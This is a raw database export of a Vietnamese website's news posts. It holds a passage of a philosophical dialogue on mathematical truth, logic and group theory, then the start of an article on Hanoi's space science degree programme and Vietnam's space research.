Và ở chỗ này, bằng chứng của sự lựa chọn “tri thức khách quan” là sức mạnh hiển nhiên: tri thức logic-toán học ở con người đã được chuyển ra ngoài, đây chính là nội dung của khái niệm “tha hóa” mà mình đã từng nói tới, chuyển thành “tri thức khách quan”, hoạt động tự động trong các máy tính! Đó chính là giá trị của sự lựa chọn triết học! Ngày mai bạn có thể được phẫu thuật bằng máy móc điều khiển do một bác sĩ ở phần bên kia địa cầu thông qua internet, và bạn đành phải tin vào tri thức khách quan nằm giữa bạn và ông bác sĩ!</div>
<div>
</div>
<div>
Cũng từ đây cho ta thấy cải cách và tiến bộ xã hội là có thể, vì tri thức, trong đó có các lý tưởng nhân văn xác quyết, có thể dần chuyển được ra “xã hội bên ngoài”, làm nên nền văn minh. Và kết thúc được cái xã hội chủ quan luẩn quẩn “con rắn cắn đuôi”, mãi mãi làm lại từ đầu!</div>
<div>
</div>
<div>
“Sự thật” hay “chân lý” về mặt triết học-logic là như sau: một biểu đạt, một hệ thống các biểu đạt (hay công thức), rộng nữa là một lý thuyết, có thỏa mãn bảng giá trị chân lý hay không.</div>
<div>
</div>
<div>
Nhưng bản thân cái bảng giá trị này, sâu xa về triết học-logic, thì lại không liên quan gì đến chân lý! Nó có đó do sự lựa chọn. Giống như các tiên đề vậy. Như thế chính triết học luôn cảnh tỉnh ta về sự lựa chọn của mình, thay vì băn khoăn và mắc tóc trong chính sự không ý thức về những lựa chọn đã được thực hiện.</div>
<div>
</div>
<div>
Về văn hóa thì chuyện này lại càng thú vị nữa. Con người lớn lên và được tắm trong cả “một biển các giá trị chân lý mẹ truyền”! Không có tư duy triết học, con người loay hoay mắc tóc trong đó đời này sang đời khác, đặt những câu hỏi không vào sâu được hơn cái lớp bao bì chân lý mẹ truyền này, và như ta thường hay thấy, người ta tấm tắc “các cụ nói cấm câu nào sai”! Nếu bạn để ý một chút thôi, thì cái biển chân lý này bao giờ cũng chứa tất cả các mệnh đề trái ngược nhau, tỉ như “một giọt máu đào, hơn một ao nước lã” chọi với “bán anh em xa, mua láng giềng gần”. Các lý thuyết cai trị cổ hủ cũng thường rơi vào tình huống này, do vừa cố mở rộng độ biên của ứng dụng, vì đời sống phong phú lên, lại vừa cố bảo trì các tiền đề cũ kĩ. Một cộng đồng muốn tiến lên, phải làm một cuộc tổng kiểm kê về cái bảng các giá trị này, để mà mình ý thức về chúng, để mà mình sẵn sàng được cảnh tỉnh về chúng, để mà mình có thể thay đổi chúng. Việc này không hề dễ tí nào, tương tự như việc quả táo rơi xuống đất tưởng đã hiển nhiên là chân lý, mà hóa ra lại chỉ là một nửa chân lý như Newton đã nhìn ra!</div>
<div>
</div>
<div>
Trong tương quan với các lĩnh vực cụ thể, các quan hệ logic như thế nằm ở tầm “cao hơn chân lý”, “trước chân lý” của những lĩnh vực đó… luôn luôn về mặt logic thôi. Về hình ảnh các quan hệ logic đã dạng thức hóa này tồn tại “trước” khi bị “nhúng vào” trong “các trường nhất định”, “các cư dân nhất định”. Ta tạm gọi các quan hệ này «ở ngoài vật thể” hay “trước vật thể”, chú ý, theo nghĩa… logic!</div>
<div>
</div>
<div>
Ví dụ quan hệ logic bắc cầu đã nói trên kia R: R(A, B) & R(B, C) à R(A, C) là một dạng thức quan hệ logic thuần.</div>
<div>
</div>
<div>
Chỉ khi “nhúng” quan hệ này vào các “trường sự vật» cụ thể, ở đó mới đẻ ra vấn đề chân lý cụ thể, hay gọi là vấn đề cắt nghĩa trên “một trường sự vật”.</div>
<div>
</div>
<div>
Trong cái thế giới sự vật “hệ thống tàu điện”, tính bắc cầu này thỏa mãn chân lý.</div>
<div>
</div>
<div>
Trong lĩnh vực “yêu mến”, tính bắc cầu không bắt buộc thỏa mãn chân lý. A yêu mến B, B yêu mến C, không tất yếu A yêu mến C. Ở đây việc triển khai tính bắc cầu mang tính bất định, “có thể bị bác bỏ”.</div>
<div>
</div>
<div>
Lưu ý rằng tính bắc cầu không nhất thiết thỏa mãn chân lý trong lĩnh vực “yêu mến”, không có nghĩa là tính bắc cầu “sai” về logic thuần túy. Chuyện đó không có nghĩa. Nói thế để ta thấy rõ hơn tầng logic nằm “trước và ngoài” tầng các sự vật cụ thể.</div>
<div>
</div>
<div>
Nói chuyện nhiều khi một xã hội Á Đông cứ loay hoay tranh cãi hàng ngàn năm rằng cái “mô hình” xã hội Nghiêu Thuấn “vua sáng tôi hiền, nhà nhà đi ngủ không phải đóng cửa, người người ra đường không ai nhặt của rơi” tự nó đúng hay sai? Câu hỏi đó vô nghĩa và vô ích về mặt vận hành xã hội. Hãy gác việc phân tích kinh viện cái “mô hình” siêu giản siêu thuần túy đó sang một bên, chưa cần thiết. Hãy cắt nghĩa khi áp dụng cái mô hình “logic” đó vào xã hội ở thời điểm lịch sử nhất định, ta đã có tư liệu lịch sử hàng ngàn năm rồi, xem nó có đảm bảo đưa lại thái bình no đủ vui tươi bền vững hay không ? Nếu là “không”, thì nó là sai theo bảng giá trị được chờ đợi trong cái trường lịch sử đó, và ta không phải lo lựa chọn nó.</div>
<div>
</div>
<div>
Vấn đề Dương có thể đẩy lên thú vị hơn nữa, là Logos có tồn tại độc lập được với vật thể không? Ví dụ với các lực hấp dẫn đã được tính toán đó, sự tồn tại của bản thân các vật thể có còn là bắt buộc không, hay các vật thể chỉ còn là sự thể hiện và mách bảo cho ta cái Logos. Các công thức tính toán theo nghĩa nào đó đã được “phi vật thể hóa”. Nhà thiết kế một tòa nhà nay có các tri thức khách quan đã được “tha hóa”, chuyển hóa ra và nằm sẵn trong phần mềm máy tính, và anh ta có thể chọn vật liệu xây dựng sau cùng cũng được, miễn là các vật liệu đó thỏa mãn mô hình logic-toán đã được xác quyết bằng các công thức đã được cài đặt trong phần mềm, chúng cho thấy thỏa mãn các tiêu chí được chờ đợi (bảng các giá trị) về độ bền vững, an toàn, giá trị thẩm mỹ, tiện nghi, môi trường, bảo trì, thương mại…</div>
<div>
</div>
<div>
Trong lập trình công nghệ tin học, một chương trình được viết thông minh là chương trình độc lập cao với dữ liệu, và nó chứa đựng hệ thống xử lý thông minh và khả năng giao tiếp phong phú. Khi phải ứng dụng cho các hoạt động khác nhau, ta mới cho nó giao tiếp với hệ thống các thông số của các lĩnh vực hoạt động liên quan, để nó tìm ra các ứng xử thích hợp cho các đối tượng của các lĩnh vực đó…</div>
<div>
</div>
<div>
Châu – Mình đồng ý là đem cọ sát các cách suy nghĩ khác nhau từ Triết, Toán đến Vật lý có thể đưa ta đi xa. Nhưng theo kinh nghiệm, ánh sáng không lóe ra từ cái cách áp đặt máy móc mô hình suy nghĩ của bên này qua bên kia. Ánh sáng luôn lóe ra từ những sự tương đồng tinh tế, mà mình phải thực sự tìm thì mới thấy. Những điểm tinh tế đó thường là nằm ở dưới lớp vỏ của ngôn ngữ.</div>
<div>
</div>
<div>
Sự hình thành của khái niệm nhóm trong toán rất đáng để suy nghĩ từ quan điểm Triết học. Mình có viết nhiều mẩu trên blog về chuyện này nhưng ít ai để ý.</div>
<div>
</div>
<div>
Định nghĩa của nhóm đơn giản đến mức có thể làm những người tò mò thất vọng. Nó mô phỏng các biến đổi nội tại của một đối tượng. Hai biến đổi có thể “hợp thành với nhau”, nhưng biến đổi A xảy ra trước biến đổi B kết hợp lại sẽ khác với khi biến đổi B xảy ra trước biến đổi A. Ngoài ra thì mọi biến đổi đểu nghịch đảo được, tức là có một biến đổi theo chiều ngược lại. Các tiên đề về nhóm đại khái chỉ có vậy.</div>
<div>
</div>
<div>
Ví dụ cơ bản là các thao tác trên khối rubik. Có thao tác A là quay mặt bên trái một góc 90 độ, có một thao tác B là quay mặt trên một góc 90 độ. Có hai thao tác hợp thành A rồi B và B rồi A. Ngoài ra thì có thao tác nghịch đảo của A, nghĩa là quay mặt bên trái một góc 90 độ theo chiều ngược lại so với A.</div>
<div>
</div>
<div>
Nhóm các thao tác trên rubik là một nhóm hữu hạn nhưng có rất nhiều phần tử và khá phức tạp. Vì thế mà khi ta xem hướng dẫn cách quay rubik, nói chung mình chỉ biết chấp hành thôi, còn không hiểu tại sao phải làm như thế. Muốn hiểu phải nghiên cứu tường tận cấu trúc của nhóm này.</div>
<div>
</div>
<div>
Bên cạnh các nhóm hữu hạn, rộng hơn là các nhóm rời rạc, ta còn có các nhóm liên tục.</div>
<div>
</div>
<div>
Điển hình là nhóm các phép dời trong không gian. Hình học cổ điển có thể biên soạn lại dưới ngôn ngữ của nhóm các phép dời hình trong mặt phẳng hoặc trong không gian. Đó chính là quan điểm của hình học hiện đại. Lý thuyết phương trình đại số một ẩn số được Galois giải thích một cách thấu đáo bằng lý thuyết nhóm Galois. Một trong những cố gắng chính của lý thuyết số hiện đại là mở rộng lý thuyết Galois ra hệ phương trình đại số nhiều ẩn số. Langlands tiên đoán một sự liên quan mật thiết đến các dạng automorphic mà khởi thủy là một nhóm con rời rạc trong một nhóm liên tục. Trong vật lý lý thuyết, Gell-Mann tiên đoán sự tồn tại của một hạt cơ bản dựa vào danh sách các biểu diễn của nhóm Lie.</div>
<div>
</div>
<div>
Khái niệm nhóm có vẻ như một cấu trúc đại số đơn giản thuận tiện, rất khó lý giải ảnh hưởng sâu rộng của nó đến hiểu biết chung của con người.</div>
<div>
</div>
<div>
Minh – Nhân Châu nói đến vụ cái rubik thấy hấp dẫn quá, nên bàn thêm mấy câu thế này:</div>
<div>
</div>
<div>
Tư duy là quá trình Lập Luận, Lập và Luận. Lập Luận xoay vòng nối tiếp nhau. Lập là lựa chọn, là quyết định, là hướng định. Lập khởi thủy là hệ thống các tiên đề, các ký hiệu, các qui tắc kết nối, các quy tắc thao tác, cùng một hệ thống ngữ nghĩa, làm nên một lý thuyết. Luận là quá trình thao tác kết nối, chuyển tải, sinh thành các Lập mới sao cho hợp thức (“không vi hiến”). Toàn bộ dòng này chảy dẫn từ Tiên đề đến Kết luận (Kết luận là một Lập đạt được cuối cùng của một chu trình). Dòng chảy này đa trị, nên có phép chứng minh hay thì có thể rất ngắn, hoặc phép chứng minh kém hay thì có thể siêu dài. Ví dụ về tập hợp các thao tác trên khối rubik của Châu rất hay cho trường hợp này: có người xoay rất nhanh ăn, người khác lâu ăn, riêng mình có thể xoay rubik cả đời không đi đến đâu cả, nhưng không hề phạm một lỗi logic nào! ;-).</div>
<div>
</div>
<div>
Trong một lĩnh vực tri thức cụ thể, xuất phát từ Hệ tiên đề mà đạt đến Kết luận mang tính bất định (ví dụ lý thuyết «tính bắc cầu của lòng yêu mến” đưa đến các kết quả “lúc có, lúc nhất định không»), thậm chí mâu thuẫn, sẽ buộc ta phải xem xét lại, bổ sung hoặc thay đổi lý thuyết trong lĩnh vực tri thức đó. Logic chỉ đóng vai trò tư pháp, đảm nhiệm tính hợp pháp của quá trình Luận và của các Lập được sinh thành (ví dụ một công thức mới thu được như kết quả chứng minh hợp pháp thu được từ quá trình Luận). Còn tính chân lý nằm ở trong nội dung các Lập, được cắt nghĩa bởi bảng các giá trị chân lý có được do các kinh nghiệm, thực nghiệm, kiến thức khoa học đã xác tín (tương đối) và/hay các lựa chọn lý tưởng nhân văn xác quyết. Tính chân lý trong trường hợp khối rubik trên kia có thể được định nghĩa trong bảng giá trị như sau: “ở mọi trạng thái ban đầu, ta luôn luôn sẽ có cách đưa khối rubik về trạng thái mà mỗi mặt chỉ có một màu, bằng cách chỉ áp dụng các thao tác cho phép”, như Châu đã nói ở trên.</div>
<div>
</div>
<div>
Dương – Như vậy là ở đây có một số vấn đề cần làm rõ hơn:</div>
<div>
</div>
<div>
1. Một lý thuyết mô tả những biến đổi nội tại trở nên rất mạnh khi mô tả thực tại (reality), nên thực tại phải có cấu trúc nội tại và sự biến đổi của thực tại là do những biến đổi nội tại gây ra?</div>
<div>
</div>
<div>
2. Không thể có một kết cục tất yếu cho sự vận động của một thực tại, vì kết cục phụ thuộc vào cách thức và thứ tự của từng biến đổi riêng rẽ. Phán đoán ở mức tốt nhất chỉ là phán đoán thống kê, không thể là phán đoán tất định?</div>
<div>
</div>
<div>
3. Cơ sở cho những tiên đoán như của Gell-Mann là gì? Có phải đó chỉ là sự tự hoàn thiện, đối xứng, tao nhã…, những tiêu chí của cái Đẹp. Như vậy cái Đẹp (Beauty) và cái Thật (Truth) có quan hệ gì? Một lý thuyết đẹp và mô tả xác thực thường được coi là tốt. Vậy Đẹp, Thật, Tốt (Chân-Thiện-Mỹ) có quan hệ gì với nhau? Hay ba cái này là một.Và như thế, có tồn tại một bộ quy luật chung cho Mỹ học và Đạo đức như cho Khoa học? Thực ra, đây là một câu hỏi rất cũ, nhưng đến giờ vẫn chưa có câu trả lời thỏa đáng.</div>
<div>
</div>
<div>
Châu – Mình có một lý thuyết như thế này, có thể là hơi hàm hồ.</div>
<div>
</div>
<div>
Có rất nhiều yếu tố khác nhau để tạo nên cái đẹp. Một yếu tố là tính vừa đủ: không thiếu, đặc biệt là không thừa.</div>
<div>
</div>
<div>
Phải chăng thiên nhiên tuân theo nguyên tắc tiết kiệm, không chỉ tiết kiệm năng lượng, mà còn tiết kiệm cả thông tin nữa. Vì thế ngôn ngữ để mô tả nó cũng phải thỏa mãn tính tiết kiệm thông tin.</div>
<div>
</div>
<div>
Cái đẹp có một lợi thế khác nữa trong quá trình phát triển của tri thức, cái đẹp dễ được tiếp thu hơn. Cái gì xấu xí, nhưng có giá trị, thường sẽ được con người gọt rũa cho đến khi nó trở thành đẹp. Cái gì giữ mãi cái vỏ xấu xí của mình sẽ có nhiều cơ hội để rơi vào lãng quên.</div>
<div>
</div>
<div>
Dương – Lý thuyết của anh không “hàm hồ” chút nào, mà ngược lại, “cực kỳ tao nhã” (cười).</div>
<div>
</div>
<div>
Chẳng phải Einstein từng nói: một lý thuyết cần “simple, but not simpler” thì cũng hàm ý không thiếu không thừa.</div>
<div>
</div>
<div>
Nhân vật Hòa Thân trong phim Tể tướng Lưu gù một thời làm mưa làm gió trên phim truyền hình (Việt Nam, còn ở Trung Quốc thì không rõ) miêu tả một cô gái đẹp cho vua Càn Long như sau: cô ấy đẹp đến nỗi nếu bớt một chút thì thiếu, mà thêm một chút thì thừa. Càn Long (tay chơi có số) nghe đến đó thì cười tít mắt. Theo lý thuyết này, giám khảo của các cuộc thi sắc đẹp bây giờ, nếu thấy thí sinh có sẹo ở chân chẳng hạn, có lẽ nên nói cái sẹo ở đó là thừa thay vì thay vì chê bai thí sinh.</div>
<div>
</div>
<div>
Như vậy xem ra nhận định của Đông Tây kim cổ đều có nét tương đồng.</div>
<div>
</div>
<div>
Giờ nghiêm túc hơn một chút nhé:</div>
<div>
</div>
<div>
Trong vật lý cổ điển, khi năng lượng có vai trò chủ đạo thì Nguyên tắc hoạt động tối thiểu (Principle of least action) có vai trò quan trọng tương ứng. Vậy nếu coi tự nhiên (universe), ở mức cơ bản nhất, được tạo bởi thông tin (hiện có rất nhiều nhà vật lý theo giả thiết này) thì Nguyên tắc tiết kiệm thông tin (Principle of least information – PLI) cũng sẽ có vai trò tương tự. Liệu có thể tìm cách kiểm chứng PLI ở những chỗ này chăng (với sự dè dặt rất lớn)? Trường hấp hẫn: theo cách giải thích thường thấy thì vật chất làm cong không gian, độ cong đó chính là hấp dẫn. Vậy có thể nhìn cách khác: không gian là lưới thông tin; độ cong của không gian chính là mật độ thông tin. Như vậy, ở mức cơ bản nhất, không gian, và rộng ra là cả vũ trụ, được cấu tạo bởi thông tin. Chỗ nào có mật độ thông tin lớn thì vật chất tụ lại tương ứng. Ánh sáng cũng như mọi vật chuyển động theo đường trắc địa không phải vì hấp dẫn mà đơn giản là dòng chảy tự nhiên của thông tin theo cách tương thích nhất với thông tin nền mà nó tiếp xúc (không gian). Sự lượng tử hóa không gian sẽ là một hệ quả tất yếu. Nhưng thời gian thì sao? Hoặc trong Vật lý lỗ đen, khi các bit thông tin phủ kín chân trời lỗ đen chứ không phải là toàn bộ thể tích lỗ đen thì đây có thể coi là hệ quả của nguyên tắc “không thiếu không thừa”? Vậy liệu có thể dùng PLI để đạt lại những kết quả như của họ? Tiếc là không có một nhà Vật lý lý thuyết ở đây để thảo luận vấn đề này.</div>
<div>
</div>
<div>
Minh – Anh chen một tý vào chuyện cái đẹp thế này.</div>
<div>
</div>
<div>
Cái đẹp có một khía cạnh đặc biệt, là nó liên quan đến cảm xúc của con người.</div>
<div>
“Tri thức khách quan” không thể thống trị ở đây hoàn toàn được.</div>
<div>
</div>
<div>
Cái đẹp của mối tình mới chớm đến, khác với cái đẹp của mối tình dứt áo ra đi.</div>
<div>
</div>
<div>
Cái đẹp của quảng trường Times Square ở New York, cả quảng trường là một sân khấu vĩ đại tuyệt vời mà mỗi người có mặt tự mình thành một nhân vật sống, khác với cái đẹp của một bãi biển đìu hiu nắng chiều đỏ ối ở Dauvine, Châu hát, Minh gảy đàn. Mà cũng lại khác nữa với một vẻ chiều cuối Xuân đường Nguyễn Du, Dương với Minh gặp nhau lần đầu trong đời thực bên tách café để rồi bắt đầu câu chuyện dài ở đây…</div>
<div>
</div>
<div>
Ở đây không đơn thuần là “tiết kiệm năng lượng” nữa, mà là các thẩm mỹ biểu đạt các dòng chảy của năng lượng.</div>
<div>
</div>
<div>
Châu – Có rất nhiều điều thú vị trong câu chuyện này. Nhưng có lẽ, mình đã đi quá xa so với chủ đề ban đầu.</div>
<div>
</div>
<div>
Dương - Em cũng thấy vậy, nên sẽ tổng kết lại ở đây. Những phần mở rộng sẽ được thảo luận tiếp trong một dịp khác.</div>
<div>
</div>
<div>
<strong>Thay lời kết</strong></div>
<div>
</div>
<div>
Sự thật Toán học, với những đặc tính như khách quan, bền vững, duy lý… có thể được coi là một trong những đặc sản của nền văn minh phương Tây. Sự phát triển của khoa học kĩ nghệ hiện đại trước hết khởi đầu bởi sự tìm ra những sự thật toán học này.</div>
<div>
</div>
<div>
Chính là chúng – dù bản chất tồn tại vẫn còn là một vấn đề bỏ ngỏ – đã tạo ra cơ sở vững chắc cho kho tri thức của nhân loại. Không có chúng, khoa học và kĩ nghệ không thể ra đời, nền văn minh kĩ nghệ hiện đại không thể phát triển.</div>
<div>
</div>
<div>
Cuộc thảo luận về sự thật toán học ở đây tuy chưa dài, nhưng đã gợi mở rất nhiều vấn đề của Triết học, Toán học và Vật lý… Hy vọng rằng, chúng sẽ được làm sáng tỏ phần nào trong những thảo luận tiếp theo.</div>
<div>
---</div>
<div>
* Giáp Văn Dương dẫn chuyện và biên tập.</div>
',
'images' => '20160616030721f00b6379b82a515a9478b6e58b783de9.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2016-06-16',
'modified' => '2025-08-19',
'status' => '1',
'view' => '62215',
'slug' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '709',
'rght' => '710',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 7 => array(
'Post' => array(
'id' => '409',
'name' => 'Gần lắm giấc mơ thiên văn Việt Nam',
'code' => null,
'alias' => 'gan-lam-giac-mo-thien-van-viet-nam',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '',
'content' => '<div>
Trước đây, việc học và nghiên cứu công nghệ vũ trụ ở Việt Nam phải gián tiếp thông qua các ngành liên quan như vật lý, công nghệ thông tin, viễn thông... Kể từ năm 2012, việc này có thể được thực hiện trực tiếp nhờ vào chương trình học Vũ trụ và Ứng dụng (Space and Applications) tại ĐH Khoa học và Công nghệ Hà Nội. Tương lai nghề nghiệp ngành công nghệ vũ trụ Việt Nam cũng đang rộng mở với nhiều cơ hội.</div>
<div>
Những ứng dụng trực tiếp cho kinh tế và xã hội<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (1).jpg" style="width: 250px; height: 167px;" /></div>
<div>
</div>
<div>
Thế kỷ 21, cùng với sự phát triển của công nghệ thông tin, công nghệ vũ trụ cũng đang ở trong giai đoạn bùng nổ. Nếu chú ý người ta sẽ nhìn thấy ứng dụng công nghệ vũ trụ ở khắp mọi nơi trong cuộc sống hàng ngày: ti-vi, điện thoại di động, máy tính xách tay, v.v. Không ai mà không biết đến những ứng dụng tuyệt vời của hệ thống định vị được tích hợp trong những chiếc điện thoại nhỏ xíu hay bản đồ điện tử, giúp chúng ta tìm được đến những hang cùng ngõ hẻm nhỏ nhất. Những ứng dụng này có được là nhờ một hệ thống vệ tinh phức tạp đang bay trên bầu trời. Nếu bạn thích du lịch thì chỉ cần lên máy bay, chưa đầy 24 tiếng bạn đã ở phía bên kia của quả đất nhưng những chiếc máy bay sẽ không thể di chuyển dễ dàng như thế nếu thiếu đi các hệ thống kiếm soát hành trình và hệ thống định vị. </div>
<div>
</div>
<div>
Ngày nay việc theo dõi môi trường, rừng, biển, khí hậu, thiên tai cũng đã sử dụng nhiều ứng dụng công nghệ vũ trụ vào một ngành riêng biệt là ngành viễn thám (remote sensing). Viễn thám là ngành nghiên cứu sử dụng các hệ thống dò tìm, đo đạc đặt trên các vệ tinh trên bầu trời để quan sát các khu vực dưới mặt đất. Nhờ vậy mà người ta có thể được thu thập hình ảnh, số liệu một phần diện tích rộng và có một cái nhìn tổng thể hơn. </div>
<div>
</div>
<div>
<strong>Trở thành nhà thiên văn học: Ước mơ trong tầm tay</strong></div>
<div>
</div>
<div>
Khoa học và công nghệ vũ trụ là tổng hợp thành quả từ nhiều ngành khoa học và cộng nghệ khác nhau, là biểu tượng của một quốc gia phát triển. Nhận thức được điều đó, Việt Nam đã và đang thúc đấy mạnh mẽ quá trình phát triển ngành công nghiệp vũ trụ nhằm phục vụ phát triển kinh tế xã hội cũng như khẳng định chủ quyền của Việt Nam trên không gian. Phát triển nguồn nhân lực chất lượng cao cho ngành khoa học vũ trụ và làm chủ công nghệ tiên tiến là một trong những ưu tiên hàng đầu.</div>
<div>
</div>
<div>
Ở Việt Nam trước đây, việc học và nghiên cứu công nghệ vũ trụ vẫn phải gián tiếp thông qua các ngành có liên quan đến vũ trụ như vật lý, công nghệ thông tin, viễn thông... Kể từ năm 2012, việc học và nghiên cứu công nghệ vũ trụ có thể được thực hiện trực tiếp nhờ vào chương trình học cử nhân và thạc sĩ Vũ trụ và ứng dụng (Space and Applications) tại Đại học Khoa học và Công nghệ Hà Nội1.</div>
<div>
</div>
<div>
Đại học Khoa học và Công nghệ Hà Nội (University of Science and Technology of Hanoi, viết tắt là USTH) là trường đại học công lập thuộc hệ thống giáo dục quốc dân, được thành lập theo sự hợp tác giữa Chính phủ Việt Nam và Chính phủ Pháp. Là trường đại học quốc tế đào tạo theo mô hình châu Âu, trường sẽ được xây dựng tại Khu Công nghệ cao Hòa Lạc và hoạt động kết hợp với Viện Khoa học và Công nghệ Việt Nam trong 10 năm đầu. Từ năm học 2012 – 2013, bên cạnh hệ cử nhân, hệ thạc sĩ Công nghệ vũ trụ và ứng dụng bắt đầu được triển khai với hầu hết các giảng viên đến từ Đại học Paris Diderot – Đại học Paris 7, Đài thiên văn Paris (l’Observatoire de Paris), Đại học Paul-Sabatier, École normale supérieur, v.v. Chương trình đào tạo thạc sĩ công nghệ vũ trụ đầu tiên và duy nhất tại Việt Nam được thực hiện theo Hệ thống chuyển đổi và tích lũy tín chỉ chung châu Âu (European Credit Transfer and Accumulation System, viết tắt là ECTS), được công nhận bởi chính phủ Việt Nam và chính phủ Pháp. </div>
<div>
</div>
<div>
Các hoạt động nghiên cứu và đào tạo sẽ được tiến hành tại một địa điểm và được kết nối với mạng lưới các trung tâm nghiên cứu – đào tạo chất lượng cao ở Pháp và Việt Nam. Chương trình cử nhân kéo dài 3 năm còn chương trình đào tạo hệ thạc sĩ Công nghệ vũ trụ và ứng dụng được chia làm 4 học kỳ trong 2 năm, mỗi học kỳ gồm 30 tín chỉ và tất cả các môn học sẽ được giảng dạy bằng tiếng Anh. Vào học kỳ cuối cùng, sinh viên sẽ được thực tập 8 tháng tại các phòng thí nghiệm nghiên cứu và phát triển (R&D labs), các viện nghiên cứu thiên văn học, các tổ hợp công nghiệp hàng không vũ trụ tại Pháp và châu Âu như Đài thiên văn Paris, Tập đoàn Hàng không vũ trụ và Quốc phòng châu Âu (EADS), v.v.</div>
<div>
</div>
<div>
Học viên sau khi bảo vệ thành công luận văn tốt nghiệp sẽ có hai bằng, một bằng của trường đại học Khoa học và Công nghệ Hà Nội và một bằng của trường đại học Pháp nhận các học viên sang thực tập. Khi tốt nghiệp, học viên sẽ có học vị chuyên ngành Thạc sĩ Khoa học vũ trụ và ứng dụng (Master in Space Science and Applications) hoặc Thạc sĩ Công nghệ vũ trụ (Master in Space Engineering). </div>
<div>
</div>
<div>
Chương trình sẽ cung cấp học bổng cho các học sinh có điều kiện khó khăn để hoàn thành chương trình. Đặc biệt việc thực tập trong học kỳ hai của năm hai thạc sĩ ở Pháp sẽ đươc chính phủ Pháp tài trợ 100%. Các sinh viên có nhu cầu phòng trọ sẽ được sắp xếp tại làng sinh viên quốc tế Thanh Xuân.</div>
<div>
</div>
<div>
<strong>Học công nghệ vũ trụ để làm gì?</strong></div>
<div>
</div>
<div>
Phần lớn các bạn trẻ thường hỏi học công nghệ vũ trụ rồi ra làm cái gì? Việc đầu tiên mà các bạn có thể làm đó là tại các trung tâm khoa học liên quan ở Việt Nam như đã kể ở trên. Do đặc thù liên ngành của ngành công nghệ vũ trụ, nếu như bạn đổi ý, với kiến thức được trang bị bạn có thể tìm việc làm ở các ngành kỹ thuật liên quan như điện, cơ khí, hàng không... hay các ngành khác như ngân hàng và tài chính. Theo thống kê mới đây ở Hoa Kỳ thì ngành công nghệ vũ trụ là ngành học ít bị thất nghiệp nhất ở Mỹ2, ngay cả trong bối cảnh khủng hoảng kinh tế hiện nay. Ngay cả các bạn học ngành thời thượng thì cũng chỉ 50% đi làm đúng ngành học, vậy tại sao bạn lại không nắm lấy cơ hội để học cái mình thích. Quan trọng nhất, nếu đây là ước mơ trẻ thơ của bạn, hãy nắm lấy.</div>
<div>
</div>
<div>
Tương lai nghề nghiệp ngành công nghệ vũ trụ Việt Nam đang rộng mở với nhiều cơ hội: kỹ sư và nghiên cứu viên tại các viện khoa học như Trung tâm Vũ trụ và Trung tâm Vệ tinh quốc gia; chuyên viên và kỹ thuật viên tại các tập đoàn viễn thông; chuyên viên trắc địa, thăm dò tại các cơ quan khí tượng, các tập đoàn khoáng sản và dầu khí; trở thành giảng viên đại học chuyên ngành thiên văn học, v.v…Sinh viên ngành vũ trụ và ứng dụng cũng có thể trở thành kỹ sư tại các công ty hàng không chuyên sản xuất thiết bị cho máy bay Boeing, Airbus hay các công ty thiết kế và chế tạo ô tô như Mercedes, BMW. Ngoài kiến thức chuyên môn vững chắc, đại học Khoa học và Công nghệ Hà Nội còn đào tạo cho những sinh viên này các kiến thức nền về quản trị, quản lý dự án khoa học, ngoại ngữ và luật pháp. </div>
<div>
</div>
<div>
<strong>Việt Nam trở lại sân chơi hàng không vũ trụ</strong></div>
<div>
</div>
<div>
Nhà nước ta đã chính thức tái khởi động chương trình nghiên cứu vũ trụ sau hơn 20 năm kể từ khi Phạm Tuân, là người châu Á đầu tiên, mang màu cờ Việt Nam lên bản đồ không gian thế giới. Ngày 14/6/2006, Thủ tướng Chính phủ phê duyệt “Chiến lược nghiên cứu và ứng dụng công nghệ vũ trụ đến năm 2020". Ngày 20/11/2006, Viện Công nghệ vũ trụ (Space Technology Institute - STI) được thành lập trực thuộc Viện Khoa học và Công nghệ Việt Nam, với mục tiêu trở thành cơ sở nghiên cứu đầu ngành về công nghệ vũ trụ của nhà nước. Cuối năm ngoái, Trung tâm Vệ tinh quốc gia Việt Nam (Vietnam National Satellite Centre - VNSC) được chính thức hoạt động, đặt tại Khu Công nghệ cao Hòa Lạc, Hà Nội. Trung tâm Vệ tinh quốc gia cũng sẽ thực hiện, tiếp nhận, quản lý, khai thác Dự án xây dựng Trung tâm Vũ trụ Việt Nam.</div>
<div>
</div>
<div>
